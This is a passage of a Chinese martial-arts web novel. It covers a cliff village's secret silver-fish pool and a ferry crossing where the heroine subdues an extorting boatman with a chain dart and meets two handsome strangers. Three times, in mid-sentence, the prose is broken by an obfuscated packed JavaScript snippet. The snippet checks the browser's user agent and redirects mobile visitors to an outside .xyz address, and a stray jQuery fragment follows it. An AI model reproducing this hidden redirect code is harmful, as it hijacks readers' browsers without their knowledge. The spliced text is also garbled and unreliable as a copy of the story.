“对,”老村长说,“上面的鱼喂大一点,就会捞了放进这寒潭里继续养着。” “从这里捞出来的鱼,是不是味道一绝?”燕惜妤又问。 “对,”老村长又笑了,“我们悬崖村就是靠着这寒潭里养的鱼,才能在没有耕田的情况下存活着。” 老村长说完,大岩也接着开口说。 “俺村的祖先那时候也是没办法,没地种了,就想着在村后头挖大水塘养鱼,又怕养大的鱼被恶人抢了去,于是到处寻地方藏鱼,也不知怎么的就找到了这寒潭,后来发现能养鱼,就悄悄地在这里头养些大点的鱼。 “结果这里头的鱼养着养着就变成了银色,那时祖先们也怕,于是拿了鱼肉喂鸡,后来发现没毒,于是就自己煮了来吃。 “那时候穷啊,村里啥酱料都没有,只有一点盐巴,却没想到这银鱼肉只放盐竟也能鲜如人间美味。 “祖先们靠着这些银鱼活了下来,也就有了俺们这悬崖村。” 燕惜妤安静地听着,直到这时才开口:“银鱼能赚到银子,但你们不敢多卖,是吗?” “是,”老村长无奈地苦笑,“怕卖多了招人妒会保不住,所以每月只卖两次,而且还不是直接卖活鱼,是先去了鱼皮,再拿盐水腌了才卖出去,卖的也不多,每次只卖十条左右。” 先去皮,再用盐水腌了卖出去,外头的买家只会误以为腌鱼的方子是一绝,而不会猜想到鱼的本身。 “这样赚不了几个钱,怪不得你和几位叔叔受了伤都没钱看病抓药,”燕惜妤拧着眉说,“可你们悬崖村没有人护着,就算有再大的宝藏,被人知道了也要拱手让人。” 老村长那双浑浊的眼中露出赞叹:“娃娃当真是聪慧。” ……就算你再怎么夸我,我也帮不了你这村子什么忙吧? 燕惜妤忽然觉得自己刚才不该好奇跟下来,现在她知道了悬崖村最大的秘密…… 她斟酌着开口问:“老村长,你们将这件事告诉我……” “哈哈,”老村长咳着笑了两声,“娃娃不要有顾虑,我觉得你日后会是一个有大造化的人,就想着先在你面前卖一个好,等日后你的大事成了,若能想起我这小小的悬崖村,或许能帮着拉我们一把。” 老村长其他的话,燕惜妤都懂,就是听不懂老村长说的“大事成了”。 大事成了?成大事?是什么大事? 燕惜妤想不明白老村长为什么会有这样的想法,明明她正在跑路,而且身边所跟着的人,不是被通缉着,就是偷了富人家的马。 45. 第45章 清晨,山中雾气渐散,草叶上还有着露珠,一匹马拉着板车缓缓走出了树林,走向了官道上。 悬崖村的人将燕惜妤他们送了出来之后,又赶着回去建围墙。他们悬崖村一拿出野猪肉,远些村子的那些在家闲着的汉子立即就带着铲子过来上工,连凶名在外的野猪领都不怕了。 仲茂几人和村里的汉子早已经称兄道弟,这会儿还颇为不舍地一步三回头。 燕惜妤看着他们几个,忽然开口说:“仲茂,他们村里正需要人,你们……”她想着他们几个或许想留在悬崖村。 “我们要陪着姑娘去乌州的!”仲茂一瞪眼,“燕姑娘是不是觉着我们五兄弟没用,觉得那阿石更好?” 这什么乱七八糟的? “没这么觉得,”燕惜妤摇头,论亲疏,仲茂他们比悬崖村的人要亲的多了,毕竟拉板车的马就是仲茂他们五兄弟的。 “那为什么老村长和他那三个儿子他们这两日看见你就像看见金疙瘩似的,眼里全是光?”仲茂苦着脸说,“他们还喊你当家姑娘,一个个的全都没安好心!” “当家姑娘不是你们先喊的吗?”一旁的罗采春奇怪道,“他们跟着你们喊,这怎么就没安好心了?” “就是没安好心!”仲茂立即跳脚,“姑娘是我们的当家姑娘,是我们的大当家,不是他们村的。” “那你要如何?”罗采春问他。 “我们不喊当家姑娘了,直接喊姑娘,”仲茂一抬下巴,“这样就不会再变成别人家的当家姑娘了!” 罗采春捂嘴笑了笑:“真不晓得你们这是在做甚。” “我姓燕,你们喊我燕姑娘,”燕惜妤有点好笑地说,“就这么喊我,记住了?” “好吧,”仲茂有气无力地说。 “对了,”燕惜妤忽然想起一件事,她看着仲茂说,“仲茂,你觉得我日后若是大事成了,你觉得会是什么大事?” 仲茂先是一愣,紧接着眼中就迸出了异常的光芒,连说话都变得哆嗦起来:“燕姑娘这、这是要反、反了大承皇帝!!!” 啊? 燕惜妤傻眼了。 佟槿方在一旁嗖地跳起来重重拍了一下仲茂的肩膀:“你可闭嘴吧!你有几个脑袋够砍的,竟然敢说出这么大逆不道的话!!” 仲茂被他打得肩膀一阵火辣辣的痛,连忙龇牙咧嘴地揉着自个儿肩膀。 佟槿方估计是怕燕惜妤真的会产生反大承的念头,于是凑过来和她说说。 “那老村长是不是同你说了什么?”佟槿方试探着问,“后头这两日,他不仅给咱送了干粮,还给送了两瓮那极为美味的腌鱼肉,而且熏野猪肉和腌野猪肉也各送了两小缸。” “还给我们送了陶碗和大瓦盆,”仲茂在旁边插话,“他见我们五兄弟没陶钵用……” “去前头带路去!”佟槿方将他吼走了。 仲茂骂骂咧咧地踢着脚走到最前头牵着马的仲二和仲四身边,还不时回头看。 “是不能说?”佟槿方继续问,“他们村里该不会是真藏着什么了不得的秘密吧?” “能有什么秘密,”燕惜妤瞥了他一眼,“就和你当初见到我时一样,明明觉得我不可能会帮你救出阿姐,但你却已经没有选择了,只能选择孤注一掷地赌一次。” “……那看来他们也是到了走投无路的时候,”佟槿方抿了抿嘴唇说,“但你也不能全信他们,要知道人心终究是隔着肚皮。” “我知道,”燕惜妤笑笑,“过于危险的事情我不会去做的,而且他们那是一整个村子的人,就你们这几个人跟着我,我都怕照顾不了,他们人太多,有些事还是留给真正有能力的人去做吧。” 她一个身边跟着全是有可能被抓去坐大牢的人,就不要去管那些力不从心的事了。 听她这么说,佟槿方用怀疑的眼神看着她:“你做的哪件事情是不危险的?” 燕惜妤想了想,眼中有着肯定:“我没做过什么危险的事情。” 我看你是睁眼说瞎话! 佟槿方悄悄地翻了一个白眼。 一行人慢慢走着,远远地看见了定县的城池,他们已经进入了麀州,麀州有永义王的封地,王爷府就在定县这座城池里。 罗采春却目不斜视地走着,像是完全忘记了当初她原来是要来,投靠她那给永义王世子当妾侍的大姐的。 燕惜妤记得这件事,她悄悄问罗采春:“三姐,要进城去看看吗?” “不去了,”罗采春说,“那时我才五岁,她或许早就认不得我了。” “那等你以后想去看她,我再和你过来,”燕惜妤说,“这里离乌州不远。” 麀州离乌州确实不远了。 麀州再过去就是平县,平县是大承朝太祖皇帝当时自封为王的地方,现在成为了大承朝唯一的独立于州之外的县,平县的知县和其他州的知州平起平坐。 平县再过去就是埬州,等过了埬州,就到了乌州。 “燕姑娘,日头正顶了,我们在这歇歇脚,”前头牵着马开路的仲茂大声冲这边喊,“歇过脚我们就该渡江了。” 上渜江横穿整个麀州,想要去平县,必须要渡江。 距离江边越近,江风就越猛。不仅是吹的人睁不开眼睛,偶尔一阵旋风卷过,还能把人给吹的倒退几步。 “这江风怎的这样大?”罗采春扶着板车开口,“江上那些小舟会不会被吹翻?” “这个还真是不知道,”燕惜妤摇头,她也是第一次在大承朝渡江。 “燕姑娘,咱先在这等等,我让老三先去打听打听,”仲茂牵着马,肯对着风站着,“咱这边有马有板车还有些食粮,坐不了小舟,要坐摆渡船。” 江边有个不大的埠头,旁边停靠着几艘用竹篾扎了舱篷的摆渡船。 再过去就是那些坐不了几个人的小舟,用块窄小的长条木板搭在舟尾和江边的乱石渡头上,那些没带货物的百姓一般会选择乘坐这种小舟。 江中波涛翻滚,江面上有渡船和小舟载人往来着,虽然江风猛烈,但这上渜江面上却很是热闹。 仲茂让仲三去打听坐摆渡船的价格,仲三立即就闷头走向了蹲在码头上等工作的脚行搬工。 燕惜妤看了看,觉得这会儿能说会道的仲茂该自己去问,仲三平日是个不怎么开口说话的人,就连说话结巴的仲四都比仲三爱开口讲话。 “你不去,你也该叫仲二过去,”燕惜妤随口说道,“你怎么把仲三给派了出去?” “仲三他会说话,”仲茂说。 燕惜妤总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439736|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得他这句话有点奇怪,什么叫仲三会说话? 燕惜妤于是装作若无其事地凑了过去,想听听平日不开口的仲三是怎么会说话的。 凑近了仔细一听,燕惜妤脸上的表情没什么变化,但心里却有点吃惊。 那些脚行搬工应该都是当地的人,讲着一口有当地口音的方言,却没想到仲三竟然也讲着和对方一模一样的方言。 燕惜妤内心震惊地走回到仲茂的身边:“仲茂,仲三他是这边的人?” “不是啊,”仲茂摇头,“我们五个从小一起长大,他就没来过这。” “那他为什么会说这里的方言?”燕惜妤好奇地问,“讲的很流利,就和本地人一样。” “他会说话啊,”仲茂见怪不怪地说,“他打小就会说话,听人讲上两句,他张嘴就能说出一样的话来,谁见了他都喊老乡。” ……厉害了啊! 燕惜妤忽然就想到了水生之前说过的一句话。 当时她问水生为什么会帮忙说服老村长同意她带着人借住在村里时,水生说的是“我是不相信你一个姑娘家能杀死几十头野猪,但我觉得你敢说出这样的谎话来,应当是有所凭仗的,我以为是你身边跟着的那几个男人有本事,却没想到你的凭仗竟是你自己”。 悬崖村的人对外人有很强的防备心,因为他们村里藏着能致富的秘密,他们不会轻易相信任何人,所以当时她在和对方换银坨子时,曾说过自己这边有人懂医术时,对方却无动于衷,只要银子不要其它,因为他们不相信外人,只相信之前给他们村人看过病的郎中。 但水生当时却因为她说的话,从而觉得仲茂他们五人或许是真人不露相,所以才会同意让她带人借住在村里。 看来水生还真说对了,她身边跟着的这几个人,确实是有本事的。 仲茂被燕惜妤看的有些莫名其妙,缩着脖子问:“燕姑娘怎这样看我?” “仲三仲五是真有本事,你这大哥就不怕地位不保?”燕惜妤问他。 “我怕什么!”仲茂抬头嚣张地说,“我有燕姑娘给我撑腰,他们四个不敢的,再说他们从小就听我的话,他们被人欺负了,都是我想法子带他们把场子找回来的!” “那你这个大哥当得还是很好的,”燕惜妤夸他。 “那是!”仲茂一抬下巴。 “燕姑娘,大哥,”仲三在这时回来了,“打听清楚了,咱们这样带货物带板车还有马的,一共要一钱银子。” “要这么多银子?”仲茂吃了一惊,连忙问,“那些小舟一人收几文钱?” “小舟一人只收五文钱,坐小舟的都是不带货物的村民,”仲三说,“那些脚行说了,如果带着货物过江,只能坐摆渡船,而且一定要注意着货物。” “这里头难道还有蹊跷不成?”仲茂瞪眼。 仲三左右看看,然后才小声说:“听说上了摆渡船之后,就只能听那些艄公的,怕船到江中他们会使坏,所以要看着些带上船的货物。” “在船上,真是只能任他们虎子大开口了,”仲茂转头看燕惜妤,“燕姑娘,咱们要渡江吗?” “渡,不渡江我们去不了乌州,”燕惜妤双眼望着波涛翻滚的江水,语气很平静,“我倒要见识见识所谓的蹊跷是什么。” 46. 第46章 过江的摆渡船不算大,但能放下板车,还能让马也上去。一般那些走商的队伍,连马带装满货物的板车都能带上船,不过商队如果要渡江,会租下几条船,这样更能保护好商队的货物。 燕惜妤他们虽然也有板车和马,但其实东西不多,原本不应该收一钱银子的,但艄公不议价,总之一头牲口拉着板车就要收一钱银子,不拉板车的牲口是半钱银子,如果不坐船,就只能自己游到江对岸去。 罗采春和佟瑰方俩姐弟都不会水,还有仲二,也不会水。 仲茂边嘲笑仲二佟槿方,边小心翼翼地牵着马拉着板车上了摆渡船。 摆渡船是专门用来运货物的,除了船头船尾,船中段用竹篾扎了舱篷挡风遮雨,远远看去,就像大一点的乌篷船。不过摆渡船在船正中立着一根有六七人高的竹竿,可能是因为竹篾扎的舱篷太大了,需要有东西来固定。 燕惜妤他们上船时,船上已经有了一头驴子拉着装有鸡笼的板车。除了装有鸡的鸡笼,还看见有个笼子装了两只瘦鸭子,那鸭子还挺精神的,一直在“嘎嘎”地叫。 仲茂牵着马,让板车一侧贴着船篷,其他四人守着板车。板车上可都是他们爱吃的,有鱼有肉,可不能被别人偷了去。 “这鸭子挺能叫的,”佟槿方被鸭子吵的站在了最外边。 “这是野鸭,”仲茂说,“晚上它如果也叫,就表示不能下水,否则会出事。” 罗采春和佟瑰方站在一起,听见仲茂这样说,罗采春连忙剜了他一眼:“别说这些个。” 仲茂讪讪地闭紧了嘴巴。 又等了一会儿,上来了三头背上驮着货物的驴子,和七八个背着装满了货物的大竹筐的男人,最后面还来了好几个挑着担子的百姓,舱篷里一下子就变得拥挤了起来。 舱篷不高,光线有些阴,站在舱篷里根本有点看不清船外站着的人。 艄公站在外面看了一会儿,又看看船里面,然后挥手示意船夫提梢撑篙开船。 船上除了需要过江的百姓,剩下的就是艄公和船夫,一共有五人。 四个船夫分别各有两人在船头和船尾,艄公侧在舱篷里站着,一张晒得黢黑的脸有些凶恶。 摆渡船离了埠头,在滚滚江水中逆风穿过江面。 江风猛烈,吹刮着舱篷,然后又卷入了舱篷里。 燕惜妤伸手压了压头上戴着的箬帽,又去看罗采春和佟瑰方。 她们俩个不会水,站在渡船上就有些害怕,此时紧挨着板车站着,表情有些慌。 燕惜妤见大家都不晕船,也就放下心来,她脚底下踩着晃晃荡荡的船板,站着都要睡着了。 江水虽然翻滚的凶猛,但好在只是横渡江,距离不算远,应该要不了多长时间就能到江对岸了。 摆渡船飘荡着来到江中,站在舱篷外沿的人却忽然出现了骚乱。 “怎的了?”仲茂踮起脚尖前后看了看,可惜舱篷里人挤人站着,他根本就看不清。 “船夫怎的不撑船篙了?!”外头忽然响来一声惊呼。 昏昏欲睡的燕惜妤一下子就清醒了过来。 嗯? “果然来了!”仲茂小声说了一句。 就在这时,原本在外面的船夫走进来了两人,而一直在舱篷里的艄公这时总算是开口了:“各位不用慌,只要你们拿出点诚意来,我就让我的兄弟安全将你们送出到对岸。” 舱篷里的人顿时乱了起来。 “……他们要什么诚意?是不是要银子?可俺们已经给银子了啊。” “不是银子,听说他们要货物,和咱这些帮城里商铺做工的挑夫没啥关系,因为东家每月都会给他们好处。” “那他们找谁要货物?” “那些有牲口拉着板车的商人和商队,那才是他们的目标。” 燕惜妤听着这些议论声,看着那艄公走到了那拉着家禽的板车旁。 他手里拿着短刀,用刀背敲了敲板车,粗声粗气地说:“这位管事,你这鸡不错啊,给我们留几笼。” 那带着几人拉鸡鸭的中年男人苦着脸说:“船老大,我这……” 他说还没说完,那艄公忽然就踢了他一脚:“少费话,你如果想同你的人一起下去喂鱼,我就成全你,是不是想着我们人少,你们人多所以不怕啊。” “没没……”对方忍着痛说,“我这也不敢啊!” “我也不怕告诉你们,我们干这行的,也不需要人多,只要我们带着撑篙往水里一跳,然后在水下拉船身的侧绳,你们就全给老子去水里喂鱼!”艄公恶狠狠地说。 船外那翻滚着的江水在猛风中被吹起高浪打在船上,船头船尾都被江水溅湿了船板,船身左右摇摆着,那江水仿佛随时都能掀翻船只。波涛声一声紧接着一声打在舱篷外,仿佛敲击着人的心口,让人听见那波浪声就觉得害怕。 “别别!可千万别!”那管事连忙摆手,他把装有两只野鸭的竹笼提了起来,讨好地对艄公说,“您看我这有两只野鸭,都说这野鸭大补,我再给您抓两只大公鸡,那大公鸡喂了好些年,拿粗盐炒熟,再配上两杯烈酒,包您夜夜龙精虎猛,您看这样成不?” “哈哈哈,我就喜欢你这野鸭和大公鸡,既然你这么有诚意,我就收下了,”那艄公哈哈大笑着,“再给我抓两只大母鸡,成双成对才好嘛。” “哎,是是,您看这两只大公鸡,看这爪子,比我手指都还粗,这可是好东西,”那主管讨好地抓了鸡,然后将竹笼递了过来。 跟在艄公后面的船夫将竹笼伸手接过。 “你这主管不错,日后要是还坐我这渡船,我保准你和你的货物安安全全过江,”艄公笑着说。 “那日后就有劳船老大了,”那主管事恭维着。 艄公说着,又走到了那几头背上驮着货物的驴子旁边:“你们这是布帛吧?” “是是是,”那管事的人连忙点头,“我这些都是府绸,只能拿来做中衣,船老大您要是喜欢,我给您拿一匹如何?” 他说的有些咬牙切齿,但人在船上不得不低头,这些渡船上的人个个都会泅水,摆渡船因为没有底下的船舱,空荡荡的只有一个船身,船如果翻了再把船翻回来还能用,但他们这些人可就难活命了。 “行吧,再贵的布帛到了我这都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449312|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐穿,”艄公撇着嘴,一转身就走到了仲茂旁边。 “你们这板车上放的是啥?”艄公边说边伸手去扒拉那两个装有野猪肉的瓦缸。 “哎,是些野猪肉,”仲茂连忙自己拔了缸口那包着泥巴压缸口的布封包,“村里伤里几人才杀了头野猪,我家人出力大,村长多给了些猪肉,我们就腌着想送些去给亲家尝尝,您要是喜欢,我各个缸里给您拿两刀肉,您看成吗?”这是他们上船之前想好的说词。 悬崖村给了一缸腌肉和一缸熏肉,缸不算大,一眼就能看到缸里有多少肉。 那艄公扫了两眼,估计是对野猪肉不怎么喜欢,随意地点点头,又去看那两个小瓮:“这里头又是什么?” “哦哦,这是腌鱼,我这不是没什么能拿的出手的,就去江里捞了几条鱼腌了,这多少也算是肉不是。”仲茂说着就拔开了小瓮的布封包,里面是盐水腌着的鱼肉。 那艄公露出厌恶的表情:“这玩意儿你也敢往亲家那头送,太腥了,还不如吃新鲜的。”他是艄公,日日夜夜对着这江面闻着江水味,真是对鱼腥有说不出的嫌弃。 “咱这不是家里穷嘛,”仲茂讪笑着又将泥封布包全给塞了回去。 “那就拿点野猪肉吧,”艄公撇着嘴说,然后视线一转,停留在了佟瑰方的身上,“这是你家那婆娘?” 燕惜妤和罗采春一个涂了黄栀膏黄不拉几的,一个脸上抹了黑胎记丑的没人愿看,只剩下一个佟瑰方,虽然也在脸上抹了些东西,但她到底曾是大户人家的千金,气质与旁人不同,让人一眼就看到了她。 “不是不是,她是我同村的妹子,她家人叫我帮着带到城里去投靠她亲戚,”仲茂连忙说。 “去投靠什么亲戚,妹子你倒不如跟了哥哥我,日后保准你过上好日子,”艄公眯着眼睛走到佟瑰方面前,脸上露出□□,还抬手想去摸佟瑰方的脸。 “滚开!不许碰我阿姐!”佟槿方早就在旁边盯着他了,这时一个箭步冲过来挡在佟瑰方面前,“把你的脏手拿开!” 这艄公是个吃软不吃硬的,平日在这渡船上当惯了海霸王,只要在这渡船上,就没人敢不听他的话。 佟槿方才十六七岁,当了十年乞丐,身体瘦弱,被他一脚就踹倒在船板上。这可是在江水翻滚的船上,人本来就快站不稳了,再这么被人一撞,那些挑夫一个个的顿时人仰马翻。不仅担子倒了,驴子也被吓得直往人群里挤。 燕惜妤隔着仲茂站着,身旁又挤着其他的人和驴,想出手帮忙都没地儿给她挤过去。 艄公这一脚,倒是帮她把地方给腾了出来。 “阿弟?!”佟瑰方惊呼一声,连忙想扑过去扶起佟槿方,但那艄公却一把扯住了她的手臂。 “这位妹子真是长的好生貌美……”他话还没说完,眼前忽然闪过一道白色,紧接着抓着人的那条手臂就是一痛,吓得他立马缩回了手,“什么人?!” 艄公捂着受伤的手臂,很是愤怒又不解地四处看:“别藏头露尾的了,滚出来!” 舱篷里不大,人挤着人,马挤着驴站着,各人脸色都很慌张,只有一个人缓缓站了出来。 47. 第47章 燕惜妤慢吞吞走到那艄公对面,她头上戴着箬帽,挡住了她小半张脸,但她的身形一看就知道是女子。 不仅其他人没想到站了一个女子出来,就连那艄公和船夫也没想到。 “你……伤我的人是你?”他语气有点迟疑,“你一个弱女子,你……” 他这次又是话没说完,眼前白光骤然一闪而过,他捂着伤臂的手猛地一阵刺痛:“啊!” 艄公惊得连连后退,但舱篷里就这么点大,不是人就是板车又或者是占地方的牲口,根本没地方让他躲。 其他人估计是怕这俩打起来会波及到他们,于是纷纷退出了舱篷,站到了船头船尾两端去,舱篷里一下子就不挤了。 燕惜妤直到这时才开口说话:“你刚才说什么?” 艄公用惊诧的眼神看着她,又悄悄地去打量她的双手,可她手上明明没有拿着任何利器,那她是怎么伤的他? “我、我说……”艄公弯着腰说,脚步却在悄悄地往前挪,“我说——要你死!” 死字刚未出口,他的人已经举着短刀猛扑了出来,死字才出口,短刀已经到了燕惜妤的颈前! 但他快燕惜妤比他更快,又是一道白光闪过,“叮”的一声,艄公手中的短刀被击飞,同时那道如灵蛇一般白光这次却缠上了艄公的脖子! 众人这才看清楚那道白光竟是一根长链条。 舱篷里一时之间静的可怕! 脖子忽然被冰冷的链条缠紧,那艄公这才知道害怕。他张了张嘴:“女侠饶命,女侠饶命啊!” 燕惜妤没看他,而是扫了那两个跟在他身边帮忙拿东西的船夫:“去,让船继续过江。” 那俩船夫还在怔愣着,艄公却是先骂上了:“让你们去就去,还傻站着等给我收尸吗!” 那俩人立即丢下手里提着的竹笼,和抱着的布帛,从人群里挤了出去。 “女侠、女侠你看,我这……”那艄公讨好地笑着,“您就把我当个屁给放了,我、是我嘴贱,我给女侠还有那位姑娘道歉,是我嘴贱。” 那艄公说着,还甩了他自己两巴掌。 燕惜妤看了看被罗采春和佟槿方扶着的佟瑰方,见她也看着这边,还紧抿着嘴唇点了点头,燕惜妤这才手腕轻转,链镖似灵蛇般又回到了她的衣袖内。 “多谢女侠多谢女侠,”那艄公诚惶诚恐地弓着腰连声道歉,却在低头的瞬间,猛地从小腿的扎脚里拔出一把匕首直刺向燕惜妤的脚腕,“给老子去死!” 死字未落,原本在他眼前的人却倏地消失,下一霎,冰冷的链镖再次紧紧缠绕上了他的脖子! 链镖缠着他的脖子,燕惜妤再手一扬,然后像是甩破口袋似的,“嘭”的一声,将艄公甩在船板上,震的众人心头突突直跳。 也就是在这时,一直缩在舱篷外怕殃及池鱼的人里忽然发出了惊呼声。 “快看!旁边的渡船翻了!!” 渡船侧翻时,羿衍椋是真没想到这帮船夫为了不让商队过江,竟然会真的弄翻他们自己赖以生存的渡船! 虽然这些渡船翻了还能翻过来再使用,但翻船毕竟是大忌。 真是够狠! 不过此时也不是想这些的时候,盛樗容不善泅水,而且他自己也厌烦浑身湿漉漉的样子。 羿衍椋抬头往旁边看了看,不远处正好有渡船也在江心,于是他脚尖一挑,把正要从船板滑下江面的一顶笠帽踢飞了出去,再一把提着盛樗容的肩膀,脚下用力一蹬,整个人腾空飞了出去! 两艘渡船之间的距离有点远,羿衍椋身上有伤,又还带着盛樗容,只能于半空中单脚在刚才踢出来的笠帽上点了一下,这才借力跃到了对面的这艘渡船上。 却没想到这艘渡船上的人全站在篷外,一堆人挤在一起,乱糟糟的,他手里还抓着盛樗容,身上的伤口在这时徒然撕裂,一阵剧痛涌出,羿衍椋带着盛樗容“嘭”的一声,撞向了站在船上的人群里。 “啊!”一群人顿时滚成了一团,纷纷发出了惊叫声:“要掉水里了!!!” 与此同时,“哧”的一声,一道火光冲天而起,这是信号焰。 燕惜妤在乱七八糟的杂吵声中捕捉到了这道声音,脚步一转,拖着艄公就向舱篷外走去。 艄公刚才被她链镖缠颈拎着那么一甩,这会儿像破口袋似的瘫在地上还没缓过劲来,然后就被用链镖缠着脖子拖着走,瞬间从发不出声音的喉咙里挤出了“嗬嗬”的怪声。 舱篷内外乱腾着,除了人的喊声,马嘶驴又叫,还有鸡鸭也在吵个不停。 燕惜妤拖着人,刚走出舱篷外,忽然有人在她面前站了起来—— 对方髻冠歪了,脸色有点发白,眼眸垂着,可能是察觉到身旁有人,于是漫不经心地抬起了眼眸。 嘶!当真是个美人啊!! 燕惜妤眉梢一扬,在心里赞了一声。 眼前这个年轻男子,是她来到大承后看到的最好看的人。 不是雌雄莫辨,却又是实打实的美人。 真好看啊。 燕惜妤双眼发亮地盯着人看,对方的视线只在她脸上一瞥而过,然后缓缓下移,先是看了眼她手里抓着的链镖,最后才看向正要爬起来的艄公。 羿衍椋眉尾不着痕迹地微微挑起。 燕惜妤的目光随着对方的视线移动,在没看见艄公的动作之前,她抓着链镖的手忽然一抖,缠在艄公脖子上的链镖倏地又紧了两分。 “呃!”艄公呼吸猛地一滞,双手下意识抓向缠绕着自己脖子的链镖。 “燕姑娘,”仲茂的声音忽然响起,“渡船上的其他四个船夫全跳下江里了!” 渡船就这么点大,他又喊的大声,船上所有的人都听见了他的声音。 羿衍椋之前还一副漠然又恹恹的样子,这时忽然眼神一凛,先是瞥了一眼眼前的女子,然后又去看盛樗容。 盛樗容这时正双手扒着舱篷,青白的脸转向了这边。 俩人视线一接触,羿衍椋眼神飞快地扫向一旁,盛樗容顺着他的视线看了过来。 燕惜妤拖着艄公向前走到了舱篷外,船上其他人却哗啦一声全都挤入了舱篷里,只突兀地剩下了两个人还待在原位。 她向江面上看了看,有好几艘渡船正向这边而来,旁边还有一船翻了的渡船。 “渡船说翻就翻,你们是真不怕死啊,”燕惜妤说了声,脚尖一点船板,下一霎她的人已经站在了渡船正中立着的那根竹竿上。 竹竿虽然没断,但她手里的链镖还缠着一个艄公,这时那艄公被链镖吊在半空,脸已经胀成了紫红色,他悬空被链镖缠着脖子吊着,双手抓着脖子前的链镖,两只脚一直在乱蹬。 因为他不停地动着,那根竹竿已经不堪重负地弯成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457961|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半圆,随时有折断的可能。 羿衍椋站在船板上抬头看着,眼中闪过异样的光芒。 盛樗容也撑着舱篷在看,他有点虚弱地说:“七哥,这姑娘轻功不在你之下。” 羿衍椋没说话,只抬眸看着立在弯成半圆的竹竿上的女子。 燕惜妤任由那艄公挣扎着,单手拎着链镖,就像拎着个草扎的假人似的,感觉不到一点重量。 “女侠手下留情!!”忽然有人大喊,“女侠请手下留情,还请放过我那不长眼的三弟!!!” 这声音是从正向这边靠近的一艘渡船上传来的。 燕惜妤顺着声音看过去,看见一个男人赤着膀子站在船头。 “派个船夫过来撑船,”燕惜妤说完,手一扬,那一直缠着艄公脖子的链镖轻轻一抖,“嘭”的一声,艄公就被甩在了船板上。 平日说话结巴的仲四不声不响地握着砍刀走到艄公身边,在被摔的动弹不得的艄公的大腿上“唰”一下就划了一刀。 被摔的昏头昏脑的艄公“啊”一声惨叫,然后挣扎着大声喊:“大哥快救我!!” 燕惜妤单脚站在又变直的竹竿上,看着仲四手起刀落的时候,向后仰了仰头。 人狠话不多的仲四哥。 仲茂这时和仲二也握着砍刀出现在船板上,仲茂那高举着砍刀喊:“我家姑娘说了,让你们叫船夫过来撑船,人呢?!” “哗啦”一声,有个人忽然从江水里冒了出来,一手拿着竹篙一手抓着船板从江水中爬上了船,然后缩着脖子开始撑船。 “姑娘,撑船的人来了,”仲茂用砍刀指着那船夫抬头对燕惜妤喊。 燕惜妤看见了,向前迈了一步,人瞬间就消失在竹竿上,紧接着一道银光一闪而过,之前支撑两个人都没有折断的竹竿忽然断开成了两段,“咚”一声,落入水中。 竹竿落入水中时,燕惜妤的人已经站在了船板上。 之前还嗷嗷叫着喊痛的艄公一见到她,顿时就闭紧了嘴巴一声不敢再吭。 燕惜妤没去看他,而是看了看舱篷里,罗采春他们几人正表情紧张地守着马和板车,在他们对面的其他人全都缩着脖子挤成一团,根本就不敢再挨着他们站着。 “呕”的忽然一声,燕惜妤转头看向舱篷边,那里有个身穿乌青色圆领宽袖衫袍的年轻男子,正扒着篷边朝着船外伸出了头。 但他只做出张嘴的样子,却什么也没能吐出来。 这是晕船了。 “没事吧?”羿衍椋问了一句。 盛樗容用手抵着额角,一脸虚弱地摇摇头:“没事。”说完,抬眼向这边看了看。 欸,又是一个好看的人! 燕惜妤眼睛亮了亮。 人嘛,都喜欢美好的事物,燕惜妤也喜欢。 燕惜妤看看之前见到的那个美人,又看看这个,忽然想到一个问题:之前渡船离岸的时候,这俩人好像不在这渡船上吧? 可开船前这俩人如果不在这船上,那开船后这俩人难道是从天而降掉在这船上的? 总不至于这俩人在半道从天而降,而其他过渡的百姓能对他们视而不见吧。 燕惜妤转头看了看那些挤在舱篷里的其他过渡百姓,他们并没有对这俩人露出什么表情,反而是不敢看她。 那看来是刚开船的时候人又多又挤,她没留意到这俩人。 48. 第48章 这时,渡船靠岸了。 不大的埠头上站着不少人,显然是江中翻了船惊到了这些人,一个个的都伸长着脖子看。 “燕姑娘,可以上岸了,”仲五牵着马刚说了一句,舱篷里的其他人就开始动了。 他们倒不是抢着要先下船,而是抢着给女侠让路。 这女侠拿铁链子栓人脖子就像栓狗似的,他们实在是害怕啊! 舱篷里就这么点大的地方,再让也让不出大道来,倒是不小心把关着野鸭的竹笼给挤开了,那野鸭逮到机会就“嘎嘎”叫着直奔江水而去。 羿衍椋不喜这些脏兮兮的扁毛禽,下意识就往旁边避了两步。 燕惜妤看着这个身穿银灰色宽袖长袍的美男子避野鸭的样子就觉得有趣。 